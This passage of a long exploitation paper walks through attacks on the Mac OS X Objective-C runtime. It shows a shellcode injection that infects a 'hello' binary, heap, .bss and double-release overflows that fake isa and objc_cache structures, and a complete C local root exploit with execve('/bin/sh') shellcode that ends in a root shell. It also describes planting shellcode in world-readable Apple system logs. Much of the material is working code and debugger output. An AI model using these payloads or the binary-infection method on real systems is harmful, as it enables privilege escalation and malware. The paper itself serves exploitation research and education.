00002070 00 00 00 00 01 00 00 00‑d0 1f 00 00 d5 1f 00 00 | ? ?? ?? 00002080[2a 1f 00 00]07 00 00 00‑10 00 00 00 bf 1f 00 00 |*? ? ? ?? 00002090 a4 30 00 00 07 00 00 00‑10 00 00 00 bf 1f 00 00 |?0 ? ? ?? 000020a0 30 20 00 00 00 00 00 00‑00 00 00 00 01 00 00 00 |0 ?

... And change our pointer to 0xdeadbeef as so:

00002070 00 00 00 00 01 00 00 00‑d0 1f 00 00 d5 1f 00 00 | ? ?? ?? 00002080[ef be ad de]07 00 00 00‑10 00 00 00 bf 1f 00 00 |????? ? ?? 00002090 a4 30 00 00 07 00 00 00‑10 00 00 00 bf 1f 00 00 |?0 ? ? ?? 000020a0 30 20 00 00 00 00 00 00‑00 00 00 00 01 00 00 00 |0 ?

This way when we start up our application and test it...

(gdb) r

Starting program: /Users/dcbz/code/hello

Reading symbols for shared libraries +++++...................... done

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef

0xdeadbeef in ?? ()

(gdb)

... we can see that execution control is pretty straight forward.

Now if we change this value from 0xdeadbeef to the address of our shellcode in the __1mage_info section. (0x30c8) and run the binary, we can see the results.

‑[dcbz@megatron:~/code]$ ./hello

infected!

Trace/BPT trap

As you can see, we have successfully gained control of execution and executed our shellcode, however the SIGTRAP caused by the int3 in our code isn't very inconspicuous. In order to fix this we'll need to add some code to jump back to the previous value of our method. The following instructions take care of this nicely:

nasm > mov ecx,0xdeadbeef

00000000 B9EFBEADDE mov ecx,0xdeadbeef

nasm > jmp ecx

00000000 FFE1 jmp ecx

Another thing we need to take care of before resuming execution is restoring the stack and registers to their previous state. This way when we resume execution it will be like our code never executed.

The final version of our payload looks something like:

BITS 32

SECTION .text

_main:

pusha

xor eax,eax

push byte 0xa

jmp short down

up:

push eax

mov al,0x04

push eax ; fake

int 0x80

jmp short end

down:

call up

db "infected!",0x0a,0x00

end:

push byte 16

pop eax

add esp,eax

popa

mov ecx,0xdeadbeef

jmp ecx

If we assembly it, and change 0xdeadbeef to the address of our old function 0x1f2a the code looks like this.

6031c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a006a105801c4 61b92a1f0000ffe1

We inject this into our binary using hte again...

000020c0 ec 1f 00 00 c9 1f 00 00‑60 31 c0 6a 0a eb 08 50

000020d0 b0 04 50 cd 80 eb 10 e8‑f3 ff ff ff 69 6e 66 65

000020e0 63 74 65 64 21 0a 00 6a‑10 58 01 c4 61 b9 2a 1f

000020f0 00 00 ff e1 00 00 00 00‑00 00 00 00 00 00 00 00

... and run the binary.

‑[dcbz@megatron:~/code]$ ./hello

infected!

Hello World!

Presto! Our binary is infected. I'm not going to bother implementing this in assembly right now, but it would be easy enough to do.

‑‑[ 5 ‑ Exploiting Objective‑C Applications

Hopefully at this stage you're fairly familiar with the Objective‑C runtime. In this section we'll look at some of the considerations of exploiting an Objective‑C application on Mac OS X.

In order to explore this, we'll first start by looking at what happens when an object allocation (alloc method) occurs for an Objective‑C class.

So basically, when the alloc method is called ([Object alloc]) the _internal_class_creatInstanceFromZone function is called in the Objective‑C runtime. The source code for this function is shown below.

/***************************************

* _internal_class_createInstanceFromZone. Allocate an instance of the * specified class with the specified number of bytes for indexed

* variables, in the specified zone. The isa field is set to the

* class, C++ default constructors are called, and all other fields are zeroed.

****************************************

__private_extern__ id

_internal_class_createInstanceFromZone(Class cls, size_t extraBytes,

void *zone)

{

id obj;

size_t size;

// Can't create something for nothing

if (!cls) return nil;

// Allocate and initialize

size = _class_getInstanceSize(cls) + extraBytes;

if (UseGC) {

obj = (id) auto_zone_allocate_object(gc_zone, size,

AUTO_OBJECT_SCANNED, false, true);

} else if (zone) {

obj = (id) malloc_zone_calloc (zone, 1, size);

} else {

obj = (id) calloc(1, size);

}

if (!obj) return nil;

// Set the isa pointer

obj‑>isa = cls;

// Call C++ constructors, if any.

if (!object_cxxConstruct(obj)) {

// Some C++ constructor threw an exception.

if (UseGC) {

auto_zone_retain(gc_zone, obj);

// gc free expects retain count==1

}

free(obj);

return nil;

}

return obj;

}

As you can see, this function basically just looks up the size of the class and uses calloc to allocate some (zero filled) memory for it on the heap.

From the code above we can see that the calls to calloc etc allocate memory from the default malloc zone. This means that the class meta‑data and contents are stored in amongst any other allocations the program makes. Therefore, any overflows on the heap in an objc application are liable to end up overflowing into objc meta‑data. We can utilize this to gain control of execution.

/***************************************

* _objc_internal_zone.

* Malloc zone for internal runtime data.

* By default this is the default malloc zone, but a dedicated zone is * used if environment variable OBJC_USE_INTERNAL_ZONE is set.

****************************************

However, if you set the OBJC_USE_INTERNAL_ZONE environment variable before running the application, the Objective‑C runtime will use it's own malloc zone. This means the objc meta‑data will be stored in another mapping, and will stop these attacks. This is probably worth doing for any services you run regularly (written in objective‑c) just to mix up the address space a bit.

The first thing we'll look at, in regards to this process, is how the class size is calculated. This will determine which region on the heap this allocation takes place from. (Tiny/Small/Large/Huge). For more information on how the userspace heap implementation (Bertrand's malloc) works, you can check my heap exploitation techniques paper [11].]

As you saw in the code above, when the _internal_class_createInstanceFromZone function wants to determine the size of a class, the first step it takes is to call the _class_getInstanceSize() function.

This basically just looks up the instance_size attribute from inside our class struct. This means we can easily predict which region of the heap our particular object will reside.

Ok, so now we're familiar with how the object is allocated we can explore this in memory.

The first step is to copy the HelloWorld sample application we made earlier to ofex1 as so...

‑[dcbz@megatron:~/code]$ cp ‑r HelloWorld/ ofex1

We can then modify the hello.c file to perform an allocation with malloc() prior to the class being alloc'ed.

The code then uses strcpy() to copy the first argument to this program into our small buffer on the heap. With a large argument this should overflow into our objective‑c object.

include <stdio.h>

#include <stdlib.h>

#import "Talker.h"

int main(int ac, char **av)

{

char *buf = malloc(25);

Talker *talker = [[Talker alloc] init]; printf("buf: 0x%x\n",buf);

printf("talker: 0x%x\n",talker);

if(ac != 2) {

exit(1);

}

strcpy(buf,av[1]);

[talker say: "Hello World!"];

[talker release];

}

Now if we recompile our sample code, and fire up gdb, passing in a long argument, we can begin to investigate what's needed to gain control of execution.

(gdb) r `perl ‑e'print "A"x5000'`

Starting program: /Users/dcbz/code/ofex1/build/hello `perl ‑e'print "A"x5000'`

buf: 0x103220

talker: 0x103260

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x41414161

0x9470d688 in objc_msgSend ()

As you can see from the output above, buf is 64 bytes lower on the heap than talker. This means overflowing 68 bytes will overwrite the isa pointer in our class struct.

This time we run the program again, however we stick 0xcafebabe where our isa pointer should be.

(gdb) r `perl ‑e'print "A"x64,"\xbe\xba\xfe\xca"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /Users/dcbz/code/ofex1/build/hello `perl ‑e'print "A"x64,"\xbe\xba\xfe\xca"'`

buf: 0x1032c0

talker: 0x103300

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xcafebade

0x9470d688 in objc_msgSend ()

(gdb) x/i $pc

0x9470d688 <objc_msgSend+24>: mov edi,DWORD PTR [edx+0x20] (gdb) i r edx

edx 0xcafebabe ‑889275714

We have now controlled the ISA pointer and a crash has occured offsetting this by 0x20 and reading. However, we're unsure at this stage what exactly is going on here.

In order to explore this, let's take a look at the source code for objc_msgSend again.

// load receiver and selector

movl selector(%esp), %ecx

movl self(%esp), %eax

// check whether selector is ignored

cmpl $ kIgnore, %ecx

je LMsgSendDone // return self from %eax

// check whether receiver is nil

testl %eax, %eax

je LMsgSendNilSelf

// receiver (in %eax) is non‑nil: search the cache

LMsgSendReceiverOk:

// ‑( nemo )‑ :: move our overwritten ISA pointer to edx.

movl isa(%eax), %edx // class = self‑>isa

// ‑( nemo )‑ :: This is where our crash takes place.

// in the CachLookup macro.

CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss movl $kFwdMsgSend, %edx // flag word‑return for _objc_msgForward

jmp *%eax // goto *imp

From the code above we can determine that our crash took place within the CacheLookup macro. This means in order to gain control of execution from here we're going to need a little understanding of how method caching works for Objective‑C classes.

Let's start by taking a look at our objc_class struct again.

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

long version;

long info;

long instance_size;

struct objc_ivar_list* ivars;

struct objc_method_list** methodLists; struct objc_cache* cache;

struct objc_protocol_list* protocols;

};

We can see above that 32 bytes (0x20) into our struct is the cache pointer (a pointer to a struct objc_cache instance). Therefore the instruction that our crash took place in, is derefing the isa pointer (that we overwrote) and trying to access the cache attribute of this struct.

Before we get into how the CacheLookup macro works, lets quickly familiarize ourselves with how the objc_cache struct looks.

struct objc_cache {

unsigned int mask; /* total = mask + 1 */

unsigned int occupied;

cache_entry *buckets[1];

};

The two elements we're most concerned about are the mask and buckets. The mask is used to resolve an index into the buckets array. I'll go into that process in more detail as we read the implementation of this. The buckets array is made up of cache_entry structs (shown below).

typedef struct {

SEL name; // same layout as struct old_method

void *unused;

IMP imp; // same layout as struct old_method

} cache_entry;

Now let's step through the CachLookup source now and we can look at the process of checking the cache and what we control with an overflow.

.macro CacheLookup

// load variables and save caller registers.

pushl %edi // save scratch register

movl cache(%edx), %edi // cache = class‑>cache

pushl %esi // save scratch register

This initial load into edi is where our bad access is performed. We are able to control edx here (the isa pointer) and therefore control edi.

movl mask(%edi), %esi // mask = cache‑>mask

First the cache struct is dereferenced and the "mask" is moved into esi. We control the outcome of this, and therefore control the mask.

leal buckets(%edi), %edi // buckets = &cache‑>buckets

The address of the buckets array is moved into edi with lea. This will come straight after our mask and occupied fields in our fake objc_cache struct.

movl %ecx, %edx // index = selector

shrl $$2, %edx // index = selector >> 2

The address of the selector (c string) which was passed to objc_msgSend() as the method name is then moved into ecx. We do not control this at all. I mentioned earlier that selectors are basically c strings that have been registered with the runtime. The process we are looking at now, is used to turn the Selector's address into an index into the buckets array. This allows for quick location of our method. As you can see above, the first step of this is to shift the pointer right by 2.

andl %esi, %edx // index &= mask

movl (%edi, %edx, 4), %eax // method = buckets[index]

Next the mask is applied. Typically the mask is set to a small value in order to reduce our index down to a reasonable size. Since we control the mask, we can control this process quite effectively.

Once the index is determined it is used in conjunction with the base address of the buckets array in order to move one of the bucket entries into eax.

testl %eax, %eax // check for end of bucket

je LMsgSendCacheMiss_$0_$1_$2 // go to cache miss code

If the bucket does not exist, it is assumed that a CacheMiss was performed, and the method is resolved manually using the technique we described early on in this paper.

cmpl method_name(%eax), %ecx // check for method name match

je LMsgSendCacheHit_$0_$1_$2 // go handle cache hit

However if the bucket is non‑zero, the first element is retrieved which should be the same selector that was passed in. If that is the cache, then it is assumed that we've found our IMP function pointer, and it is called.

addl $$1, %edx // bump index ...

jmp LMsgSendProbeCache_$0_$1_$2 // ... and loop

Otherwise, the index is incremented and the whole process is attempted again until a NULL bucket is found or a CacheHit occurs.

Ok, so taking this all home, lets apply what we know to our vulnerable sample application.

We've accomplished step #1, we've overflown and controlled the isa pointer. The next thing we need to do is find a nice patch of memory where we can position our fake objective‑c class information and predict it's address.

There are many different techniques for this and almost all of them are situational. For a remote attack, you may wish to spray the heap, filling all the gaps in until you can predict what's at a static location. However in the case of a local overflow, the most reliable technique I know I wrote about in my "a XNU Hope" paper [13]. Basically the undocumented system call SYS_shared_region_map_file_np is used to map portions of a file into a shared mapping across all the processes on the system. Unfortunately after I published that paper, Apple decided to add a check to the system call to make sure that the file being mapped was owned by root. KF originally pointed this out to me when leopard was first released, and my macbook was lying broken under my bed. He also noted, that there were many root owned writable files on the system generally and so he could bypass this quite easily.

‑[dcbz@megatron:~]$ ls ‑lsa /Applications/.localized

8 ‑rw‑rw‑r‑‑ 1 root admin 8 Apr 11 19:54 /Applications/.localized

An example of this is the /Applications/.localized file. This is at least writeable by the admin user, and therefore will serve our purpose in this case. However I have added a section to this paper (5.1) which demonstrates a generic technique for reimplementing this technique on Leopard. I got sidetracked while writing this paper and had to figure it out.

For now we'll just use /Applications/.localized however, in order to reduce the complexity of our example.

Ok so now we know where we want to write our data, but we need to work out exactly what to write. The lame ascii diagram below hopefully demonstrates my idea for what to write.

,_____________________,

ISA ‑> | |

| mask=0 |<‑,

| occupied | |

,‑‑‑| buckets | |

'‑‑>| fake bucket: SEL | |

| fake bucket: unused | |

| fake bucket: IMP |‑‑|‑‑,

| | | |

| | | |

ISA+32>| cache pointer |‑‑' |

| | |

| SHELLCODE |<‑‑‑‑'

'_____________________'

So basically what will happen, the ISA will be dereferenced and 32 will be added to retrieve the cache pointer which we control. The cache pointer will then point back to our first address where the mask value will be retrieved. I used the value 0x0 for the mask, this way regardless of the value of the selector the end result for the index will be 0. This way we can stick the pointer from the selector we want to support (taken from ecx in objc_msgSend.) at this position, and force a match. This will result in the IMP being called. We point the imp at our shellcode below our cache pointer and gain control of execution.

Phew, glad that explanation is out of the way, now to show it in code, which is much much easier to understand. Before we begin to actually write the code though, we need to retrieve the value of the selector, so we can use it in our code.

In order to do this, we stick a breakpoint on our objc_msgSend() call in gdb and run the program again.

(gdb) break *0x00001f83

Breakpoint 1 at 0x1f83

(gdb) r AAAAAAAAAAAAAAAAAAAAA

Starting program: /Users/dcbz/code/ofex1/build/hello AAAAAAAAAAAAAAAAAAAAA buf: 0x103230

talker: 0x103270

Breakpoint 1, 0x00001f83 in main ()

(gdb) x/i $pc

0x1f83 <main+194>: call 0x400a <dyld_stub_objc_msgSend> (gdb) stepi

0x0000400a in dyld_stub_objc_msgSend ()

(gdb)

0x94e0c670 in objc_msgSend ()

(gdb)

0x94e0c674 in objc_msgSend ()

(gdb) s

0x94e0c678 in objc_msgSend ()

(gdb) x/s $ecx

0x1fb6 <main+245>: "say:"

As you can see, the address of our selector is 0x1fb6.

(gdb) info share $ecx

2 hello ‑ 0x1000 exec Y Y /Users/dcbz/code/ofex1/build/hello (offset 0x0)

If we get some information on the mapping this came from we can see it was directly from our binary itself. This address is going to be static each time we run it, so it's acceptable to use this way.

Ok now that we've got all our information intact, I'll walk through a finished exploit for this.

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <mach/vm_prot.h>

#include <mach/i386/vm_types.h>

#include <mach/shared_memory_server.h>

#include <string.h>

#include <unistd.h>

#define BASE_ADDR 0x9ffff000

#define PAGESIZE 0x1000

#define SYS_shared_region_map_file_np 295

We're going to map our data, at the page 0x9ffff000‑0xa0000000 this way we're guaranteed that we'll have an address free of NULL bytes.

char nemox86exec[] =

// x86 execve() code / nemo

"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd" "\x80\x31\xc0\x50\xb0\x17\x6a\x7f" "\xcd\x80\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x54\x54\x53\x53\xb0\x3b"

"\xcd\x80";

I'm using some simple execve("/bin/sh") shellcode for this. But obviously this is just for local vulns.

struct _shared_region_mapping_np {

mach_vm_address_t address;

mach_vm_size_t size;

mach_vm_offset_t file_offset;

vm_prot_t max_prot; /* read/write/execute/COW/ZF */

vm_prot_t init_prot; /* read/write/execute/COW/ZF */

};

struct cache_entry {

char *name; // same layout as struct old_method

void *unused;

void (*imp)(); // same layout as struct old_method

};

struct objc_cache {

unsigned int mask; /* total = mask + 1 */

unsigned int occupied;

struct cache_entry *buckets[1];

};

struct our_fake_stuff {

struct objc_cache fake_cache;

char filler[32 ‑ sizeof(struct objc_cache)];

struct objc_cache *fake_cache_ptr;

};

We define our structs here. I created a "our_fake_stuff" struct in order to hold the main body of our exploit. I guess I should have stuck the objc_cache struct we're using in here. But I'm not going to go back and change it now... ;p

#define ROOTFILE "/Applications/.localized"

This is the file which we're using to store our data before we load it into the shared section.

int main(int ac, char **av)

{

int fd;

struct _shared_region_mapping_np sr;

char data[PAGESIZE];

char *ptr = data + PAGESIZE ‑ sizeof(nemox86exec) ‑ sizeof(struct our_fake_stuff) ‑ sizeof(struct objc_cache); long knownaddress;

struct our_fake_stuff ofs;

struct cache_entry bckt;

#define EVILSIZE 69

char badbuff[EVILSIZE];

char *args[] = {"./build/hello",badbuff,NULL};

char *env[] = {"TERM=xterm",NULL};

So basically I create a char[] buff PAGESIZE in size where I store everything I want to map into the shared section. Then I write the whole thing to a file. args and env are used when I execve the vulnerable program.

printf("[+] Opening root owned file: %s.\n", ROOTFILE); if((fd=open(ROOTFILE,O_RDWR|O_CREAT))==‑1)

{

perror("open");

exit(EXIT_FAILURE);

}

I open the root owned file...

// fill our data buffer with nops. Why? Why not!

memset(data,'\x90',sizeof(data));

knownaddress = BASE_ADDR + PAGESIZE ‑ sizeof(nemox86exec) ‑ sizeof(struct our_fake_stuff) ‑ sizeof(struct objc_cache);

knownaddress is a pointer to the start of our data. We position all our data towards the end of the mapping to reduce the chance of NULL bytes.

ofs.fake_cache.mask = 0x0; // mask = 0

ofs.fake_cache.occupied = 0xcafebabe; // occupied

ofs.fake_cache.buckets[0] = knownaddress + sizeof(ofs);

The ofs struct is set up according to the method documented above. The mask is set to 0, so that our index ends up becoming 0. Occupied can be any value, I set it to 0xcafebabe for fun. Our buckets pointer basically just points straight after itself. This is where our cache_entry struct is going to be stored.

bckt.name = (char *)0x1fb6; // our SEL

bckt.unused = (void *)0xbeef; // unused

bckt.imp = (void (*)())(knownaddress +

sizeof(struct our_fake_stuff) +

sizeof(struct objc_cache)); // our shellcode

Now we set up the cache_entry struct. Name is set to our selector value which we noted down earlier. Unused can be set to anything. Finally imp is set to the end of both of our structs. This function pointer will be called by the objective‑c runtime, after our structs are processed.

// set our filler to "A", who cares.

memset(ofs.filler,'\x41',sizeof(ofs.filler));

ofs.fake_cache_ptr = (struct objc_cache *)knownaddress;

Next, we fill our filler with "A", this can be anything, it's just a pad so that our fake_cache_ptr will be 32 bytes from the start of our ISA struct. Our fake_cache_ptr is set up to point back to the start of our data (knownaddress). This way our fake_cache struct is processed by the runtime.

// stick our struct in data.

memcpy(ptr,&ofs,sizeof(ofs));

// stick our cache entry after that

memcpy(ptr+sizeof(ofs),&bckt,sizeof(bckt));

// stick our shellcode after our struct in data.

memcpy(ptr+sizeof(ofs)+sizeof(bckt),nemox86exec ,sizeof(nemox86exec));

Now that our structs are set up, we simply memcpy() each of them into the appropriate position within the data[] blob....

printf("[+] Writing out data to file.\n"); if(write(fd,data,PAGESIZE) != PAGESIZE)

{

perror("write");

exit(EXIT_FAILURE);

}

... And write this out to our file.

sr.address = BASE_ADDR;

sr.size = PAGESIZE;

sr.file_offset = 0;

sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;

printf("[+] Mapping file to shared region.\n");

if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==‑1)

{

perror("shared_region_map_file_np");

exit(EXIT_FAILURE);

}

close(fd);

Our file is then mapped into the shared region, and our fd discarded.

printf("[+] Fake Objective‑C chunk at: 0x%x.\n", knownaddress);

memset(badbuff,'\x41',sizeof(badbuff));

//knownaddress = 0xcafebabe;

badbuff[sizeof(badbuff) ‑ 1] = 0x0;

badbuff[sizeof(badbuff) ‑ 2] = (knownaddress & 0xff000000) >> 24; badbuff[sizeof(badbuff) ‑ 3] = (knownaddress & 0x00ff0000) >> 16; badbuff[sizeof(badbuff) ‑ 4] = (knownaddress & 0x0000ff00) >> 8; badbuff[sizeof(badbuff) ‑ 5] = (knownaddress & 0x000000ff) >> 0; printf("[+] Executing vulnerable app.\n");

Before finally we set up our badbuff, which will be argv[1] within our vulnerable application. knownaddress (The address of our data now stored within the shared region.) is used as the ISA pointer.

execve(*args,args,env);

// not reached.

exit(0);

}

For your convenience I will include a copy of this exploit/vuln along with most of the other code in this paper, uuencoded at the end.

As you can see from the following output, running our exploit works as expected. We're dropped to a shell. (NOTE: I chown root;chmod +s'ed the build/hello file for effect.)

‑[dcbz@megatron:~/code/ofex1]$ ./exploit

[+] Opening root owned file: /Applications/.localized.

[+] Writing out data to file.

[+] Mapping file to shared region.

[+] Fake Objective‑C chunk at: 0x9fffffa5.

[+] Executing vulnerable app.

buf: 0x103500

talker: 0x103540

bash‑3.2# id

uid=0(root)

Hopefully in this section I have provided a viable method of exploiting heap overflows in an Objective‑c Environment.

Another technique revolving around overflowing Objective‑C meta‑data is an overflow on the .bss section. This section is used to store static/global data that is initially zero filled.

Generally with the way gcc lays out the binary, the __class section comes straight after the .bss section. This means that a largish overflow on the .bss will end up overwriting the isa class definition structs, rather than the instantiated classes themselves, as in the previous example.

In order to test out what will happen we can modify our previous example to move buf from the heap to the .bss. I also changed the printf responsible for printing the address of the Talker class, to deref the first element and print the address of it's isa instead.

#include <stdio.h>

#include <stdlib.h>

#import "Talker.h"

char buf[25];

int main(int ac, char **av)

{

Talker *talker = [[Talker alloc] init]; printf("buf: 0x%x\n",buf);

printf("talker isa: 0x%x\n",*(long *)talker); if(ac != 2) {

exit(1);

}

strcpy(buf,av[1]);

[talker say: "Hello World!"];

[talker release];

}

When we compile this and run it in gdb, we can see a couple of things. Firstly, that the talkers isa struct is only around 4096 bytes apart from our buffer.

(gdb) r `perl ‑e'print "A"x4150'`

Starting program: /Users/dcbz/code/ofex2/build/hello `perl ‑e'print "A"x4150'`

Reading symbols for shared libraries +++++...................... done buf: 0x2040

talker isa: 0x3000

We also get a crash in the following instruction:

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x41414141

0x94e0c68c in objc_msgSend ()

(gdb) x/i $pc

0x94e0c68c <objc_msgSend+28>: mov 0x0(%edi),%esi

(gdb) i r edi

edi 0x41414141 1094795585

This instruction looks pretty familiar from our previous example. As you can guess, this instruction is looking up the cache pointer, exactly the same as our previous example. The only real difference is that we're skipping a step. Rather than overflowing the ISA pointer and then creating a fake ISA struct, we simply have to create a fake cache in order to gain control of execution.

I'm not going to bother playing this one out for you guys in the paper, cause this monster is already getting quite long as it is. I'll include the sample code in the uuencoded section at the end though, feel free to play with it.

As you can imagine, you simply need to set up memory as such:

,_____________________,

| mask=0 |

| occupied |

,‑‑‑| buckets |

'‑‑>| fake bucket: SEL |

| fake bucket: unused |

| fake bucket: IMP |‑‑‑‑‑,

| SHELLCODE |<‑‑‑‑'

'_____________________'

and point edi to the start of it to gain control of execution.

These two techniques provide some of the easiest ways to gain control of execution from a heap or .bss overflow that i've seen on Mac OS X.

The last type of bug which I will explore in this paper, is the double "release". This is a double free of an Objective‑C object.

The following code demonstrates this situation.

#include <stdio.h>

#include <stdlib.h>

#import "Talker.h"

int main(int ac, char **av)

{

Talker *talker = [[Talker alloc] init]; printf("talker: 0x%x\n",talker);

printf("Talker is: %i bytes.\n", sizeof(Talker)); if(ac != 2) {

exit(1);

}

char *buf = strdup(av[1]);

printf("buf @ 0x%x\n",buf);

[talker say: "Hello World!"];

[talker release];// Free

[talker release];// Free again...

}

If we compile and execute this code in gdb, the following situation occurs:

‑[dcbz@megatron:~/code/p66‑objc/ofex3]$ gcc Talker.m hello.m ‑framework Foundation ‑o hello ‑[dcbz@megatron:~/code/p66‑objc/ofex3]$ gdb ./hello

GNU gdb 6.3.50‑20050815 (Apple version gdb‑768)

Copyright 2004 Free Software Foundation, Inc.

(gdb) r AA

Starting program: /Users/dcbz/code/p66‑objc/ofex3/hello AA

talker: 0x103280

Talker is: 4 bytes.

buf @ 0x1032d0

Hello World!

objc[1288]: FREED(id): message release sent to freed object=0x103280

Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand. 0x90c65bfa in _objc_error ()

(gdb) x/i $pc

0x90c65bfa <_objc_error+116>: ud2a

(gdb)

This ud2a instruction is guaranteed to throw an Illegal instruction and terminate the process. This is Apple's protection against double releases.

If we look at what's happening in the source we can see why this occurs.

__private_extern__ IMP _class_lookupMethodAndLoadCache(Class cls, SEL sel) {

Class curClass;

IMP methodPC = NULL;

// Check for freed class

if (cls == _class_getFreedObjectClass())

return (IMP) _freedHandler;

As you can see, when the lookupMethodAndLoadCache function is called, (when the release method is called) the cls pointer is compared with the result of the _class_getFreeObjectClass() function. This function returns the address of the previous class which was released by the runtime. If a match is found, the _freedHandler function is returned, rather than the desired method implementation. _freedHandler is responsible for outputting a message in syslog() and then using the ud2a instruction to terminate the process.

This means that any method call on a free()'ed object will always error out. However, if another object is released inbetween, the behaviour is different.

To investigate this we can use the following program:

#include <stdio.h>

#include <stdlib.h>

#import "Talker.h"

int main(int ac, char **av)

{

Talker *talker = [[Talker alloc] init];

Talker *talker2 = [[Talker alloc] init]; printf("talker: 0x%x\n",talker);

printf("talker is: %i bytes.\n", malloc_size(talker)); if(ac != 2) {

exit(1);

}

[talker release];

[talker2 release];

int i;

for(i=0; i<=50000 ; i++) {

char *buf = strdup(av[1]);

//printf("buf @ 0x%x\n",buf);

// leak badly

}

[talker say: "Hello World!"];

[talker release];

}

If we run this, with gdb attached, we can see that it crashes in the following instruction.

(gdb) r aaaa

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /Users/dcbz/code/p66‑objc/ofex3/hello aaaa talker: 0x103280

talker is: 16 bytes.

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x61616181

0x90c75688 in objc_msgSend ()

(gdb) x/i $pc

0x90c75688 <objc_msgSend+24>: mov edi,DWORD PTR [edx+0x20]

As you can see, this instruction (objc_msgSend+24) is our objc_msgSend call trying to look up the cache pointer from our object. The ISA pointer in edx contains the value 61616161 ("aaaa"). This is because our little for loop of heap allocations, eventually filled in the gaps in the heap, and overwrote our free'ed object.

Once we control the ISA pointer in this instruction, the situation is again identical to a standard heap overflow of an Objective‑C object.

I will leave it again as an exercize for the reader to implement this.

‑‑‑‑‑‑[ 6.1 ‑ Side note: Updated shared_region technique.

In the previous section we used the shared_region technique to store our code in a fixed location in the address space of our vulnerable application. However, in order to do so, we required a file that was owned by root and controllable/readable by us.

The file that we used:

8 ‑rw‑rw‑r‑‑ 1 root admin 4096 Apr 12 17:30 /Applications/.localized

Was only writeable by the admin user, so this isn't really a viable solution to the problem apple presented us with.

As I said earlier, I've been away from Mac OS X for a while, so I haven't had a chance to get around this new check, in the past. While I was writing this paper I was contemplating possible methods of defeating it.

My first thought, was to find a suid which created a root owned file, controllable by us, and then sigstop it. However I did not find any suids which met our requirements with this.

I also tried mounting a volume obeying file ownership which contained a previously created root owned file. However there is a check in the syscall which makes sure that our file is on the root volume, so that was outed.

Finally I thought about log files. Something like syslog would be perfect where I could arbitrarily control the contents. The only problem with this idea is that no one in their right mind would allow their syslog to be world readable.

This is when I stumbled across the "Apple system log facility." A.S.L? Amazingly apple took it upon themselves to reinvent the wheel. Apple syslog is designed to be readable by everyone on the system. By default any user can see sudo messages etc.

The man page describes ASL as follows:

DESCRIPTION

These routines provide an interface to the Apple system log facility. They are intended to be a replacement for the syslog(3) API, which will continue to be supported for backwards compatibility. The new API allows client applications to create flexible, structured messages and send them to the syslogd server, where they may undergo additional processing. Messages received by the server are saved in a data store (subject to input filtering constraints). This API permits clients to create queries and search the message data store for matching messages.

There's even a section on security that seems to think allowing everyone to view your system log is a good thing...

SECURITY

Messages that are sent to the syslogd server may be saved

in a message store. The store may be searched using asl_search, as described below. By default, all messages are readable by any user. However, some applications may wish to restrict read access for some messages. To accommodate this, a client may set a value for the "ReadUID" and "ReadGID" keys. These keys may be associated with a value containing an ASCII representation of a numeric UID or GID. Only the root user (UID 0), the user with the given UID, or a member of the group with the given GID may fetch access‑controlled messages from the database.

So basically we can use the "asl_log()" function to add arbitrary data to the log file. The log file is stored in /var/log/asl/YYYY.MM.DD.asl and as you can see below this file is world readable. This works perfect for what we need.

344 ‑rw‑r‑‑r‑‑ 1 root wheel 172377 Apr 12 18:40 /var/log/asl/2009.04.12.asl

I wrote a tool "14‑f‑brazil.c" which basically takes some shellcode in argv[1] then sends it to the latest asl log with asl_log(). It then maps the last page of the log file straight into the shared section.

I stuck a unique identifier:

#define NEMOKEY "‑‑((NEMOKEY))‑‑:>>"

before the shellcode in memory, and then just scanned memory in the shared mapping in the current process in order to locate the key, and therefore our shellcode.

Here is the output from running the program:

‑[dcbz@megatron:~/code]$ ./14‑f‑brazil `perl ‑e'print "\xcc"x20'` [+] opening logfile: /var/log/asl/2009.04.12.asl.

[+] generating shellcode buffer to log.

[+] writing shellcode to logfile.

[+] creating shared mapping.

[+] file offset: 0x16000

[+] Waiting a bit.

[+] scanning memory for the shellcode... (this may crash).

[+] found shellcode at: 0x9ffff674.

And as you can see in gdb, we have a nopsled at that address.

‑[dcbz@megatron:~/code]$ gdb /bin/sh

GNU gdb 6.3.50‑20050815 (Apple version gdb‑768)

(gdb) r

Starting program: /bin/sh

^C[Switching to process 342 local thread 0x2e1b]

0x8fe01010 in __dyld__dyld_start ()

Quit

(gdb) x/x 0x9ffff674

0x9ffff674: 0x90909090

(gdb)

0x9ffff678: 0x90909090

(gdb)

0x9ffff67c: 0x90909090

(gdb)

0x9ffff680: 0x90909090

(gdb)

0x9ffff684: 0x90909090

Andrewg predicts that after this paper Apple will add a check to make sure that the file is executable, prior to mapping it into the shared section.

Should be interesting to see if they do this. :p

I'll include 14‑f‑brazil.c in the uuencoded code at the end of this paper.

‑‑[ 6 ‑ Conclusion

Wow I can't believe you guys actually read this far. That was a pretty long and painful ride. It seems like every time I start writing I remember how much I dislike writing and vow never to do it again, but after a few months I always forget and start on another topic. Hopefully this wasn't as dry and boring in .txt format as it was in .ppt, although I'm definitly missing lolcat pictures in this version :(.

I would like to take this time to thank the support drone at the Apple shop who fixed my Macbook for me after it was broken for the last 3 years. Without his help, there's no way I would have ever finished this paper.

